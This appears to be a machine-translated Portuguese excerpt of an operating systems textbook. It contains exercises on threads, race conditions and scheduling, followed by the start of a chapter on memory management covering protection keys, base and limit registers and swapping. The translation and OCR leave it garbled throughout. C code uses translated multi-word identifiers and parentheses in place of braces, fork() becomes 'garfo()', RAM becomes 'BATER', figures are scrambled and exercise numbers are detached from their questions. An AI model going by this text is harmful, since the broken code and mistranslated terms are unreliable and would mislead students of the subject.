19. Suponha que um programa tenha dois threads, cada um executando a função get account, — 
mostrado abaixo. Identifique uma condição de corrida neste código. 


contas internas[LIMIT]; contagem de contas internas = 0; 


void *obter conta(void *tid) { char 
*lineptr = NULL; tamanho t 
lente = 0; 


while (contagem de-contas <LIMITE) ( 


// Lê a entrada do usuário no terminal e armazena-a em lineptr 
getline(&lineptr, &len, stdin); 


/! Converte a entrada do usuário em inteiro 
/! Suponha que o usuário inseriu um valor inteiro válido 
int entered account = atoi(lineptr); 


contas[contagem de contas] = conta inserida; contagem de 
contas++; — 
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20. 


21. 


22. 


28. 


24. 


25. 


26. 


27. 


28. 


29. 


30. 


/! Desaloca a memória que foi alocada por getline call free(lineptr); 
retornar NULO; } 


Na discussão sobre variáveis globais em threads, usamos um procedimento create global para alocar- 
armazenamento para um ponteiro para a variável, em vez da própria variável. Isto é essencial ou os 
procedimentos poderiam funcionar igualmente bem com os próprios valores? 


Considere um sistema no qual os threads são implementados inteiramente no espaço do usuário, com o sistema 
de tempo de execução recebendo uma interrupção do relógio uma vez por segundo. Suponha que uma 
interrupção do relógio ocorra exatamente enquanto algum thread em execução no sistema de tempo de execução 
está no ponto de bloquear ou desbloquear um thread. Que problema pode ocorrer? Você pode resolver isso? 


Suponha que um sistema operacional não tenha nada parecido com a chamada de sistema select para ver 
antecipadamente se é seguro ler um arquivo, canal ou dispositivo, mas permite que despertadores 
(temporizadores) sejam configurados para interromper o bloqueio. chamadas do sistema. É possível implementar 
no espaço do usuário um pacote de threads que não bloqueie todos os threads quando um thread forma uma 
chamada de sistema que pode bloquear? Explique sua resposta. 


A solução de Peterson para o problema de exclusão mútua mostrado na Figura 2.24 funciona quando o 
escalonamento de processos é preemptivo? E quando não é preemptivo? 


O problema de inversão de prioridade discutido na Seç. 2.3.4 acontece com threads no nível do usuário? Por que 
ou por que não? 


Na Seç. 2.3.4, foi descrita uma situação com um processo de alta prioridade, H, e um processo de baixa prioridade, 
L, que levou ao loop H para sempre. O mesmo problema ocorre se o agendamento round robin for usado em 
vez do agendamento prioritário? Discutir. 


Em um sistema com threads, existe uma pilha por thread ou uma pilha por processo quando threads de nível de 
usuário são usadas? E quando threads em nível de kernel são usados? Explicar. 


O que é uma condição de corrida? 


Quando um computador está sendo desenvolvido, geralmente é primeiro simulado por um programa que executa 
uma instrução por vez. Até mesmo multiprocessadores são simulados estritamente sequencialmente assim. É 
possível ocorrer uma condição de corrida quando não há eventos simultâneos? Explicar. 


O problema produtor-consumidor pode ser estendido a um sistema com múltiplos produtores e consumidores que 
escrevem (ou lêem) para (de) um buffer compartilhado. Suponha que cada produtor e consumidor execute seu 
próprio thread. A solução apresentada na Figura 2.28, usando semáforos, funcionará para este sistema? 


Considere a seguinte solução para o problema de exclusão mútua envolvendo dois processos PO e P1. Suponha 
que a variável turn seja inicializada em 0. O código do processo PO é apresentado a seguir. 


/* Outro código */ 
while (turn != 0) () /* Não faça nada e espere. */ Seção 


Crítica /* . . . */ volta n = 0; 


/* Outro código */ 
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Para o processo P1, substitua O por 1 no código acima. Determine se a solução atende a todas as condições 
exigidas para uma solução correta de exclusão mútua. 


31. Mostre como a contagem de semáforos (isto é, semáforos que podem conter um valor arbitrário) pode ser 
implementada usando apenas semáforos binários e instruções de máquina comuns. 


32. Se um sistema possui apenas dois processos, faz sentido utilizar uma barreira para sincronizá-los? Por que 
ou por que não? 


33. Dois threads no mesmo processo podem ser sincronizados usando um semáforo de kernel se os threads 
forem implementados pelo kernel? E se eles forem implementados no espaço do usuário? 
Suponha que nenhum thread em nenhum outro processo tenha acesso ao semáforo. Discutir 
suas respostas. 


34. Suponha que temos um sistema de passagem de mensagens usando caixas de correio. Ao enviar para uma 
caixa de correio cheia ou tentar receber de uma caixa vazia, um processo não é bloqueado. Em vez disso, 
ele recebe de volta um código de erro. O processo responde ao código de erro apenas tentando novamente, 
repetidamente, até obter sucesso. Este esquema leva a condições de corrida? 


35. Os computadores CDC 6600 podiam lidar com até 10 processos de E/S simultaneamente, usando uma forma 
interessante de agendamento round-robin chamada compartilhamento de processador. Uma troca de 
processo ocorreu após cada instrução, então a instrução 1 veio do processo 1, a instrução 2 veio do 
processo 2, etc. A troca de processo foi feita por hardware especial, e o overhead foi zero. Se um processo 
precisasse de T segundos para ser concluído na ausência de competição, quanto tempo seria necessário 
se o compartilhamento de processador fosse usado com n processos? 


36. Considere o seguinte trecho de código C: 


void main() 
(fork(); 
garfo( ); 
saída( ); 
} 


Quantos processos filhos são criados na execução deste programa? 


37. Os escalonadores round-robin normalmente mantêm uma lista de todos os processos executáveis, com cada 
processo ocorrendo exatamente uma vez na lista. O que aconteceria (em termos de agendamento) se um 
processo ocorresse duas vezes na lista? Você consegue pensar em alguma razão para permitir isso? 


38. É possível determinar se um processo provavelmente estará vinculado à CPU ou à E/S por meio da análise 
do código-fonte? Como isso pode ser determinado em tempo de execução? 


39. Na seção “Quando agendar”, foi mencionado que às vezes o agendamento poderia ser melhorado se um 
processo importante pudesse desempenhar um papel na seleção do próximo processo a ser executado 
quando ele for bloqueado. Dê uma situação em que isso poderia ser usado e explique como. 


40. Explique como o valor quântico do tempo e o tempo de troca de contexto afetam um ao outro, em um 
algoritmo de escalonamento round-robin. 


41. Medições de um determinado sistema mostraram que o processo médio é executado por um tempo T antes 
de ser bloqueado na E/S. Uma mudança de processo requer um tempo S, que é efetivamente 
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42. 


43. 


44. 


45. 


46. 


47. 


48. 


49. 


50. 


51. 


desperdiçado (sobrecarga). Para escalonamento round-robin com quantum Q, forneça uma fórmula para a eficiência 
da CPU para cada um dos seguintes: 


(a) Q= 

(b) Q> T(c) 
S<Q<T(d) Q= 
S(e) Q 


quase 0 


Cinco trabalhos estão aguardando para serem executados. Os tempos de execução esperados são 9, 6, 3, 5 e X. Em 
que ordem eles devem ser executados para minimizar o tempo médio de resposta? (Sua resposta dependerá de X.) 


Cinco trabalhos em lote, de A a E, chegam quase ao mesmo tempo. Eles têm tempos de execução estimados de 10, 6, 
2, 4 e 8 minutos. As suas prioridades (determinadas externamente) são 3, 5, 2, 1 e 4, respectivamente, sendo 5 a 
prioridade mais alta. Para cada um dos seguintes algoritmos de escalonamento, determine o tempo médio de resposta 
do processo. Ignore a sobrecarga de comutação de processos. 


(a) Rodada. (b) 
Agendamento prioritário. (c) 
Primeiro a chegar, primeiro a ser servido (executado na ordem 10, 6, 2, 4, 


8). (d) Trabalho mais curto primeiro. 


Para (a), suponha que o sistema seja multiprogramado e que cada tarefa receba sua parte justa da CPU. De (b) a (d), 
suponha que apenas uma tarefa seja executada por vez, até terminar. Todos os trabalhos estão completamente 
vinculados à CPU. 


Um processo em execução no CTSS precisa de 30 quanta para ser concluído. Quantas vezes ele deve ser trocado, 


incluindo a primeira vez (antes de ser executado)? 


Você consegue pensar em uma maneira de evitar que o sistema de prioridade CTSS seja enganado por 


carruagem retorna? 


Considere um sistema em tempo real com duas chamadas de voz com periodicidade de 5 ms cada, com tempo de CPU 
por chamada de 1 ms, e um fluxo de vídeo com periodicidade de 33 ms com tempo de CPU por chamada de 11 ms. 
Este sistema é programável? Mostre como você derivou sua resposta. 


Para o problema acima, outro stream de vídeo pode ser adicionado e fazer com que o sistema ainda esteja funcionando? 
programável? 


O algoritmo de envelhecimento com a = 1/2 está sendo usado para prever tempos de execução. As quatro execuções 
anteriores, da mais antiga para a mais recente, são 40, 20, 40 e 15 ms. Qual é a previsão da próxima vez? 


Um sistema suave em tempo real tem quatro eventos periódicos com períodos de 50, 100, 200 e 250 ms cada. Suponha 
que os quatro eventos exijam 35, 20, 10 e x mseg de tempo de CPU, respectivamente. Qual é o maior valor de x para 


o qual o sistema é escalonável? 


Explique por que a programação em dois níveis é comumente usada. Que vantagens isso tem 


sobre o agendamento de nível único? 


Um sistema em tempo real precisa lidar com duas chamadas de voz, cada uma executada a cada 5 ms e consumindo 1 
ms de tempo de CPU por burst, além de um vídeo a 25 quadros/s, com cada quadro 
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exigindo 20 ms de tempo de CPU. Este sistema é programável? Por favor, explique por que ou por que 
não é programável e como você chegou a essa conclusão. 


52. Considere um sistema no qual se deseja separar a política e o mecanismo para o escalonamento dos 
threads do kernel. Proponha um meio de atingir esse objetivo. 


53. O problema dos leitores e escritores pode ser formulado de várias maneiras no que diz respeito a que 
categoria de processos pode ser iniciada e quando. Descreva cuidadosamente três variações diferentes 
do problema, cada uma favorecendo (ou não) alguma categoria de processos (por exemplo, leitores ou 
escritores). Para cada variação, especifique o que acontece quando um leitor ou gravador fica pronto 
para acessar o banco de dados e o que acontece quando um processo é concluído. 


54. Escreva um script de shell que produza um arquivo de números sequenciais lendo o último número do 
arquivo, adicionando 1 a ele e, em seguida, anexando-o ao arquivo. Execute uma instância do script em 
segundo plano e outra em primeiro plano, cada uma acessando o mesmo arquivo. Quanto tempo leva 
para que uma condição de corrida se manifeste? Qual é a região crítica? 

Modifique o script para evitar a corrida. (Dica: use 


No arquivo arquivo.lock 
para bloquear o arquivo de dados.) 


55. Suponha que você tenha um sistema operacional que forneça semáforos. Implemente um sistema de 
mensagens. Escreva os procedimentos para envio e recebimento de mensagens. 


56. Reescreva o programa da Figura 2.23 para lidar com mais de dois processos. 


57. Escreva um problema produtor-consumidor que use threads e compartilhe um buffer comum. 
Entretanto, não use semáforos ou quaisquer outras primitivas de sincronização para proteger as 
estruturas de dados compartilhadas. Apenas deixe cada thread acessá-los quando quiser. Use sleep e 
wakeup para lidar com as condições de cheio e vazio. Veja quanto tempo leva para ocorrer uma condição 
de corrida fatal. Por exemplo, você pode fazer com que o produtor imprima um número de vez em 


quando. Não imprima mais de um número a cada minuto porque a E/S pode afetar as condições de 
corrida. 


58. Um processo pode ser colocado em uma fila round-robin mais de uma vez para obter uma prioridade mais 
alta. A execução de múltiplas instâncias de um programa, cada uma trabalhando em uma parte diferente 
de um conjunto de dados, pode ter o mesmo efeito. Primeiro escreva um programa que teste a 
primalidade de uma lista de números. Em seguida, crie um método para permitir que múltiplas instâncias 
do programa sejam executadas ao mesmo tempo, de modo que duas instâncias do programa não 
funcionem no mesmo número. Você consegue percorrer a lista mais rapidamente executando várias 
cópias do programa? Observe que seus resultados dependerão do que mais seu computador estiver 
fazendo; em um computador pessoal executando apenas instâncias deste programa, você não esperaria 
uma melhoria, mas em um sistema com outros processos, você poderá obter uma parcela maior da 
CPU dessa maneira. 


59. Implemente um programa para contar a frequência de palavras em um arquivo de texto. O arquivo de texto 
é particionado em N segmentos. Cada segmento é processado por um thread separado que emite a 
contagem de frequência intermediária para seu segmento. O processo principal espera até que todos os 
threads sejam concluídos; em seguida, ele calcula os dados consolidados de frequência de palavras com 
base na saída dos threads individuais. 
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GERENCIAMENTO DE MEMÓRIA 


A memória principal (RAM) é um recurso importante que deve ser gerenciado com muito 
cuidado. Embora o computador doméstico médio hoje em dia tenha 100 mil vezes mais memória 
do que o IBM 7094, o maior computador do mundo no início da década de 1960, os programas 
estão a ficar maiores mais rapidamente do que as memórias. Parafraseando a Lei de Parkinson, 
“Os programas se expandem para preencher a memória disponível para mantê-los”. Neste 
capítulo, estudaremos como os sistemas operacionais criam abstrações a partir da memória e 
como eles as gerenciam. 

O que todo programador gostaria é de uma memória privada, infinitamente grande, 
infinitamente rápida, que também fosse não volátil, ou seja, não perdesse seu conteúdo quando 
a energia elétrica fosse desligada. Já que estamos nisso, por que não torná-lo barato também? 
Infelizmente, a tecnologia não oferece tais memórias atualmente. Talvez você descubra como 
fazer isso. 

Qual é a segunda escolha? Com o passar dos anos, as pessoas descobriram o conceito de 
hierarquia de memória, na qual os computadores têm alguns megabytes de memória cache 
volátil, muito rápida e cara, alguns gigabytes de memória principal volátil, de velocidade média e 
preço médio, e um alguns terabytes de armazenamento magnético ou de estado sólido lento, 
barato e não volátil, sem mencionar o armazenamento removível, como pen drives. É função do 
sistema operacional abstrair essa hierarquia em um modelo útil e então gerenciar a abstração. 


A parte do sistema operacional que gerencia (parte da) hierarquia de memória é chamada 
de gerenciador de memória. Sua função é gerenciar a memória com eficiência: controlar quais 
partes da memória estão em uso, alocar memória aos processos quando eles precisarem e 
desalocá-la quando terminarem. 


179 


Machine Translated by Google 


1 80 GERENCIAMENTO DE MEMÓRIA INDIVÍDUO. 3 


Neste capítulo, investigaremos vários modelos diferentes de gerenciamento de memória, variando 
dos muito simples aos altamente sofisticados. Desde que gerenciamos o menor 
nível de memória cache normalmente é feito pelo hardware, o foco deste capítulo 
estará no modelo de memória principal do programador e como ela pode ser gerenciada. 
As abstrações e o gerenciamento do armazenamento permanente — o disco ou 
SSD — são o assunto do próximo capítulo. Examinaremos primeiro os esquemas mais simples possíveis 
e depois progrediremos gradualmente para esquemas cada vez mais elaborados. 


3.1 SEM ABSTRAÇÃO DE MEMÓRIA 


A abstração de memória mais simples é não ter nenhuma abstração. Os primeiros computadores 
main frame (antes de 1960), os primeiros minicomputadores (antes de 1970) e os primeiros computadores 
pessoais (antes de 1980) não tinham abstração de memória. Cada programa simplesmente 
via memória física. Quando um programa executou uma instrução como 


REGISTRO MOV1.1000 


o computador acabou de mover o conteúdo do local de memória física 1000 para REGIS TER1. Assim, 
o modelo de memória apresentado ao programador era simplesmente memória física, um conjunto de 
endereços de 0 a um máximo, cada endereço correspondendo a uma célula contendo um certo número 
de bits, geralmente oito. 

Nestas condições, não foi possível ter dois programas em execução em 
memória ao mesmo tempo. Se o primeiro programa escrevesse um novo valor para, digamos, localização 
2000, isso apagaria qualquer valor que o segundo programa estivesse armazenando lá. Nada funcionaria 
e ambos os programas travariam quase imediatamente. 

Mesmo com o modelo de memória sendo apenas memória física, diversas opções 
e possivel. Três variações são mostradas na Figura 3-1. O sistema operacional pode ser 
na parte inferior da memória na RAM (memória de acesso aleatório), conforme mostrado em 
Fig. 3-1(a), ou pode estar em ROM (memória somente leitura) no topo da memória, conforme 
mostrado na Figura 3-1(b), ou os drivers de dispositivo podem estar no topo da memória em uma ROM 
e o restante do sistema na RAM abaixo, como mostrado na Figura 3.1(c). O primeiro 
modelo foi usado anteriormente em mainframes e minicomputadores, mas raramente é usado 
mais. O segundo modelo é usado em alguns computadores portáteis e sistemas embarcados. O terceiro 
modelo foi usado pelos primeiros computadores pessoais (por exemplo, executando MS DOS), onde a 
parte do sistema na ROM é chamada de BIOS (Basic Input 
Sistema de saída). Os modelos (a) e (c) têm a desvantagem de que um bug no usuário 
programa pode acabar com o sistema operacional, possivelmente com resultados desastrosos. 

Quando o sistema é organizado desta forma, geralmente apenas um processo por vez 
pode estar em execução. Assim que o usuário digita um comando, o sistema operacional copia 
o programa solicitado do armazenamento não volátil para a memória e o executa. Quando 
o processo termina, o sistema operacional exibe um caractere de prompt e aguarda 
um novo comando do usuário. Quando o sistema operacional recebe o comando, ele carrega um 
novo programa na memória, sobrescrevendo o primeiro. 
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OxFFF... 


Operativo Dispositivo 
sistema em drivers em ROM 


ROM 


Do utilizador 


programa 


Do utiizador 
programa 


Do utilizador 


programa 


Operativo 


sistema em 
BATER 


Operativo 


sistema em 
BATER 


0 00 
(a) (b) (c) 


Figura 3-1. Três maneiras simples de organizar a memória com um sistema operacional 
e um processo de usuário. Outras possibilidades também existem. 


Uma maneira de obter algum paralelismo em um sistema sem abstração de memória é 
programa com vários threads. Como todos os threads em um processo devem ver 
a mesma imagem de memória, o fato de serem forçados a isso não é um problema. Enquanto 
essa idéia funciona, é de uso limitado, pois o que as pessoas geralmente desejam é que programas 
não relacionados sejam executados ao mesmo tempo, algo que a abstração de threads não permite 
fornecer. Além disso, qualquer sistema que seja tão primitivo que não forneça memória 
é improvável que a abstração forneça uma abstração de threads. 


3.1.1 Executando vários programas sem abstração de memória 


Entretanto, mesmo sem abstração de memória, é possível executar vários programas ao mesmo 
tempo. O que o sistema operacional precisa fazer é salvar todo o conteúdo da memória em um 
arquivo de armazenamento não volátil e, em seguida, abrir e executar o próximo programa. Contanto 
que haja apenas um programa por vez na memória, não haverá conflitos. Este conceito (troca) será 
discutido abaixo. 

Com a adição de algum hardware especial, é possível executar vários programas 
simultaneamente, mesmo sem troca. Os primeiros modelos do IBM 360 
resolveu o problema da seguinte maneira. A memória foi dividida em blocos de 2 KB e cada 
foi atribuída uma chave de proteção de 4 bits mantida em registros especiais dentro da CPU. A 
máquina com memória de 1 MB precisava de apenas 512 desses registradores de 4 bits para um total 
de 256 bytes de armazenamento de chaves. O PSW (Program Status Word) também continha um 
Chave de 4 bits. O hardware 360 prendeu qualquer tentativa de acesso de um processo em execução 
memória com um código de proteção diferente da chave PSW. Como apenas o sistema operacional 
poderia alterar as chaves de proteção, os processos do usuário foram impedidos de 
interferindo entre si e com o próprio sistema operacional. 

No entanto, esta solução tinha uma grande desvantagem, ilustrada na Figura 3-2. Aqui 
temos dois programas, cada um com 16 KB de tamanho, como mostrado na Figura 3.2(a) e (b). O 
o primeiro está sombreado para indicar que possui uma chave de memória diferente da última. O 
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O primeiro programa começa saltando para o endereço 24, que contém uma instrução MOV . 
O segundo programa começa saltando para o endereço 28, que contém uma instrução CMP . 
As instruções que não são relevantes para esta discussão não são mostradas. Quando os dois 
programas são carregados consecutivamente na memória começando no endereço 0, temos a 
situação da Figura 3.2(c). Para este exemplo, assumimos que o sistema operacional está com 
muita memória e, portanto, não é mostrado. 


[o Jaza 

CMP 16412 

16408 

16404 

16400 

16396 

16392 

16388 

JMP 28 16384 

0 16380 0 16380 16380 
ERR CMP 28 ADICIONAR 28 
TA 24 RR 24 
20 20 
16 16 
12 12 
8 8 
4 4 
JMP 24 JMP 28 0 JMP 24 0 

(a) (b) (c) 


Figura 3-2. Ilustração do problema de realocação. (a) Um programa de 16 KB. 
(b) Outro programa de 16 KB. (c) Os dois programas carregados 
consecutivamente na memória. 


Depois que os programas forem carregados, eles poderão ser executados. Como eles 
possuem chaves de memória diferentes, nenhum deles pode danificar o outro. Mas o problema 
é de natureza diferente. Quando o primeiro programa é iniciado, ele executa a instrução JMP 
24 , que salta para a instrução, conforme esperado. Este programa funciona normalmente. 

Entretanto, após o primeiro programa ter sido executado por tempo suficiente, o sistema 
operacional pode decidir executar o segundo programa, que foi carregado acima do primeiro, no 
endereço 16.384. A primeira instrução executada é a JMP 28, que salta para a instrução ADD 
no primeiro programa, em vez da instrução CMP para a qual deveria saltar. O programa 
provavelmente irá travar em menos de 1 segundo. 

O problema central aqui é que ambos os programas fazem referência à memória física 
absoluta. Não é isso que queremos. O que queremos é que cada programa possa referenciar 
um conjunto privado de endereços locais para ele. Mostraremos como isso pode ser 
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realizado em breve. O que o IBM 360 fez como solução provisória foi modificar 

o segundo programa instantaneamente enquanto o carregava na memória usando uma técnica conhecida 
como realocação estática. Funcionou assim. Quando um programa foi carregado no endereço 

16.384, a constante 16.384 foi adicionada a cada endereço de programa durante o carregamento 
processo (então " JMP 28 " tornou-se " JMP 16.412", etc.). Enquanto este mecanismo funciona 

se bem feito, não é uma solução muito geral e retarda o carregamento. Além disso, requer informações 
extras em todos os programas executáveis para indicar quais 

palavras contêm endereços (relocáveis) e quais não. Afinal, o "28" em 

A Figura 3-2(b) precisa ser realocada, mas uma instrução como 


REGISTRO MOV1,28 


que move o número 28 para REGISTER! não deve ser realocado. O carregador precisa 


alguma maneira de saber o que é um endereço e o que é uma constante. 

Finalmente, como apontamos no Cap. 1, a história tende a se repetir no mundo da informática. 
Embora o endereçamento direto da memória física seja apenas uma memória distante 
(desculpe) em mainframes, minicomputadores, desktops, notebooks e smartphones, a falta de abstração 
de memória ainda é comum em sistemas embarcados e inteligentes 
sistemas de cartões. Dispositivos como rádios, máquinas de lavar e fornos de micro-ondas são 
todos cheios de software (em ROM) atualmente e, na maioria dos casos, o software aborda 
memória absoluta. Isto funciona porque todos os programas são conhecidos antecipadamente e 
os usuários não têm liberdade para executar seu próprio software em suas torradeiras. 

Na verdade, a história gira sobre si mesma de maneiras interessantes. Por exemplo, moderno 
Os processadores Intel x86 possuem formas avançadas de gerenciamento e isolamento de memória 
(como veremos), muito mais poderoso que a simples combinação de chaves de proteção 
e realocação estática no IBM 360. No entanto, a Intel começou a adicionar esses exatos 
(e aparentemente antiquadas) chaves de proteção para suas CPUs apenas em 2017, mais de 
50 anos após a entrada em uso do primeiro IBM 360. Agora são considerados uma inovação importante 
para aumentar a segurança. 

Por outro lado, onde sistemas embarcados de ponta (como smartphones) têm 
sistemas operacionais elaborados, os mais simples não. Em alguns casos, existe um sistema operacional, 
mas é apenas uma biblioteca vinculada ao programa aplicativo e 
fornece chamadas de sistema para executar E/S e outras tarefas comuns. O sistema operacional e-Cos 
é um exemplo comum de sistema operacional como biblioteca. 


3.2 UMA ABSTRAÇÃO DE MEMÓRIA: ESPAÇOS DE ENDEREÇO 


Resumindo, expor a memória física a processos tem várias desvantagens importantes. Primeiro, se 
os programas de usuário puderem endereçar cada byte de memória, eles poderão facilmente 
destruir o sistema operacional, intencionalmente ou por acidente, levando o sistema a um 
parada de moagem (a menos que haja hardware especial como o bloqueio e chave do IBM 360 
esquema). Este problema existe mesmo se apenas um programa de usuário (aplicativo) estiver em 
execução. Em segundo lugar, com este modelo, é difícil ter vários programas em execução ao mesmo tempo. 
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uma vez (revezando-se, se houver apenas uma CPU). Em computadores pessoais, é comum ter 
vários programas abertos ao mesmo tempo (um processador de texto, um programa de e-mail, um 
navegador Web), um deles tendo o foco atual, mas os outros sendo reativados com um clique do 
mouse. . Como esta situação é difícil de alcançar quando não há abstração da memória física, algo 


tinha que ser feito. 


3.2.1 A noção de espaço de endereço 


Dois problemas precisam ser resolvidos para permitir que múltiplas aplicações fiquem na memória 
ao mesmo tempo sem interferir umas nas outras: proteção e realocação. 

Vimos uma solução primitiva para a anterior usada no IBM 360: rotular pedaços de memória com uma 
chave de proteção e comparar a chave do processo em execução com a de cada palavra de memória 
buscada. No entanto, esta abordagem por si só não resolve o último problema, embora possa ser 
resolvido realocando os programas à medida que são carregados, mas esta é uma solução lenta e 
complicada. 

Uma solução melhor é inventar uma nova abstração para a memória: o espaço de endereço. 
Assim como o conceito de processo cria uma espécie de CPU abstrata para executar programas, o 
espaço de endereço cria uma espécie de memória abstrata para uso dos programas. Um espaço de 
endereço é o conjunto de endereços que um processo pode usar para endereçar a memória. Cada 
processo tem seu próprio espaço de endereçamento, independente de outros processos (exceto em 
algumas circunstâncias especiais onde os processos desejam compartilhar seus espaços de endereçamento). 

O conceito de espaço de endereço é muito geral e ocorre em muitos contextos. 

Considere os números de telefone. Nos Estados Unidos e em muitos outros países, um número de 
telefone local geralmente tem 7 dígitos. O espaço de endereço para números de telefone vai, portanto, 
de 0.000.000 a 9.999.999, embora alguns números, como aqueles que começam com 000, não sejam 
usados. O espaço de endereço para portas de E/S no x86 vai de O a 16383. Os endereços IPv4 são 
números de 32 bits, portanto, seu espaço de endereço vai de 0 a 232 1 (novamente, com alguns 
números reservados). 

Os espaços de endereço não precisam ser numéricos. O conjunto de domínios da Internet .com 
também é um espaço de endereço. Este espaço de endereço consiste em todas as strings de 2 a 63 
caracteres que podem ser compostas por letras, números e hifens, seguidos de .com. Agora você já 
deve ter entendido. É bastante simples. 

Um pouco mais difícil é dar a cada programa seu próprio espaço de endereço, de modo que o 
endereço 28 em um programa signifique uma localização física diferente do endereço 28 em outro 
programa. A seguir discutiremos uma maneira simples que costumava ser comum, mas caiu em desuso 
devido à capacidade de colocar esquemas muito mais complicados (e melhores) em chips de CPU 
modernos. 


Registros Base e Limite 


Esta solução simples utiliza uma versão particularmente simples de realocação dinâmica. 
O que ele faz é mapear o espaço de endereço de cada processo em uma parte diferente da memória 
física de maneira simples. A solução clássica, que foi usada em máquinas que vão desde o CDC 6600 
(o primeiro supercomputador do mundo) até o Intel 8088 (o 
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coração do IBM PC original), é equipar cada CPU com dois registros de hardware especiais, geralmente 
chamados de registros base e limite . Quando esses registradores são usados, os programas são 
carregados em locais de memória consecutivos sempre que houver espaço e sem realocação durante 

o carregamento, como mostrado na Figura 3.2(c). Quando um processo é executado, o registrador base 
é carregado com o endereço físico onde seu programa começa na memória e o registrador limite é 
carregado com o comprimento do programa. Na Figura 3.2(c), os valores base e limite que seriam 
carregados nesses registradores de hardware quando o primeiro programa fosse executado são 0 e 
16.384, respectivamente. Os valores utilizados quando o segundo programa é executado são 16.384 e 
32.768, respectivamente. Se um terceiro programa de 16 KB fosse carregado diretamente acima do 
segundo e executado, os registradores base e limite seriam 32.768 e 16.384. 


Cada vez que um processo faz referência à memória, seja para buscar uma instrução ou ler ou 
escrever uma palavra de dados, o hardware da CPU adiciona automaticamente o valor base ao 
endereço gerado pelo processo antes de enviar o endereço no barramento de memória. Simultaneamente, 
verifica se o endereço oferecido é igual ou superior ao valor do registrador limite, caso em que é gerada 
uma falha e o acesso é encerrado. Assim, no caso da primeira instrução do segundo programa na 
Figura 3.2(c), o processo executa um 


JMP 28 
instrução, mas o hardware a trata como se fosse 
JMP 16412 


então ele chega à instrução CMP conforme esperado. As configurações dos registradores base e limite 
durante a execução do segundo programa da Figura 3-2(c) são mostradas na Figura 3-3. 


Usar registradores base e limite é uma maneira fácil de dar a cada processo seu próprio espaço 
de endereço privado porque cada endereço de memória gerado automaticamente tem o conteúdo do 
registrador base adicionado a ele antes de ser enviado para a memória. Em muitas implementações, 
os registradores base e limite são protegidos de tal forma que somente o sistema operacional pode 
modificá-los. Este foi o caso do CDC 6600, mas não do Intel 8088, que nem sequer tinha o registo limite. 
Ele tinha múltiplos registradores base, permitindo que texto e dados do programa, por exemplo, fossem 
realocados de forma independente, mas não oferecia proteção contra referências de memória fora do 
intervalo. 

Uma desvantagem da realocação usando registradores base e limite é a necessidade de realizar 
uma adição e uma comparação em cada referência de memória. As comparações podem ser feitas 


rapidamente, mas as adições são lentas devido ao tempo de propagação do carry, a menos que circuitos 
de adição especiais sejam usados. 


3.2.2 Troca 


Se a memória física do computador for grande o suficiente para armazenar todos os processos, 
os esquemas descritos até agora servirão mais ou menos. Mas, na prática, a quantidade total de RAM 
necessária para todos os processos costuma ser muito maior do que cabe 


Machine Translated by Google 


1 86 GERENCIAMENTO DE MEMÓRIA INDIVÍDUO. 3 
16384 > 
0 32764 
Limitar registro l 
CMP 16412 
16408 
16404 
16400 
16396 
16392 
16388 
16384 JMP 28 16384 
0 16380 


Cadastro básico 


ADICIONAR 


28 

24 
20 

16 

12 

8 

4 

0 


Figura 3-3. Registradores base e limite podem ser usados para dar a cada processo um espaço de 
endereço separado. 


memória. Em um sistema típico Windows, MacOS ou Linux, cerca de 50 a 100 processos ou mais 
podem ser iniciados assim que o computador for inicializado. Por exemplo, quando um aplicativo 
do Windows é instalado, ele geralmente emite comandos para que, nas inicializações 
subsequentes do sistema, seja iniciado um processo que não faz nada além de verificar se há 
atualizações no aplicativo. Esse processo pode facilmente ocupar de 5 a 10 MB de memória. 
Outros processos em segundo plano verificam e-mails recebidos, conexões de rede recebidas e 
muitas outras coisas. E tudo isso antes do primeiro programa do usuário ser iniciado. Hoje em 
dia, programas de aplicativos de usuários sérios, como o Photoshop, podem exigir quase um 
gigabyte apenas para inicializar e muitos gigabytes quando começam a processar dados. 
Consequentemente, manter todos os processos na memória o tempo todo requer uma enorme 
quantidade de memória e não pode ser feito se não houver memória suficiente. 

Duas abordagens gerais para lidar com a sobrecarga de memória foram desenvolvidas ao 
longo dos anos. A estratégia mais simples, cnamada troca de processos, consiste em trazer 
cada processo na sua totalidade, executá-lo por um tempo e depois colocá-lo novamente em 
armazenamento não volátil (disco ou SSD). Os processos ociosos são armazenados 
principalmente em armazenamento não volátil, portanto, não ocupam memória quando não estão 
em execução (embora alguns deles acordem periodicamente para fazer seu trabalho e depois 
adormeçam novamente). A outra estratégia, chamada memória virtual, permite que programas sejam executados mesmo 
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quando estão apenas parcialmente na memória principal. Abaixo estudaremos a troca; na seg. 
3.3 examinaremos a memória virtual. 

A operação de um sistema de troca é ilustrada na Figura 3-4. Inicialmente, apenas o 
processo A está na memória. Em seguida, os processos Be C são criados ou trocados a partir 
do armazenamento não volátil. Na Figura 3.4(d), A é trocado por armazenamento não volátil. 
Então D entra e B sai. Finalmente A entra novamente. Como A está agora em um local diferente, 
os endereços nele contidos devem ser realocados, seja por software quando ele é trocado ou 
(mais provavelmente) por hardware durante a execução do programa. Por exemplo, registros 
base e limite funcionariam bem aqui. 


PUHH, 


Eta 
MM 
EM 


Sistema 
operacional 
(c) 


Figura 3-4. A alocação de memória muda à medida que os processos entram e saem da 
memória. As regiões sombreadas são memória não utilizada. 


Quando a troca cria vários buracos na memória, é possível combiná-los todos em um grande, 
movendo todos os processos para baixo, tanto quanto possível. 

Essa técnica é conhecida como compactação de memória. Geralmente isso não é feito porque 
requer muito tempo de CPU. Por exemplo, em uma máquina de 16 GB que pode copiar 8 bytes 
em 8 ns, seriam necessários cerca de 16 segundos para compactar toda a memória. 

Um ponto que vale a pena mencionar diz respeito à quantidade de memória que deve ser 
alocada para um processo quando ele é criado ou trocado. Se os processos são criados com um 
tamanho fixo que nunca muda, então a alocação é simples: o sistema operacional aloca 
exatamente o que é necessário. necessário, nem mais nem menos. 

Se, no entanto, os segmentos de dados dos processos puderem crescer, por exemplo, 
alocando dinamicamente memória de um heap, como em muitas linguagens de programação, 
ocorrerá um problema sempre que um processo tentar crescer. Se um furo for adjacente ao 
processo, ele poderá ser alocado e o processo poderá crescer dentro do furo. Por outro lado, se 
o processo for adjacente a outro processo, o processo em crescimento terá que ser movido para 
um buraco na memória grande o suficiente para ele, ou um ou mais processos terão que ser 
trocados para criar um buraco grande o suficiente. . Se um processo não puder aumentar a 
memória e a área de troca no disco ou SSD estiver cheia, o processo terá que ser suspenso até 
que algum espaço seja liberado (ou ele pode ser eliminado). 
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Se for esperado que a maioria dos processos cresça à medida que são executados, 
provavelmente é uma boa ideia alocar um pouco de memória extra sempre que um processo 
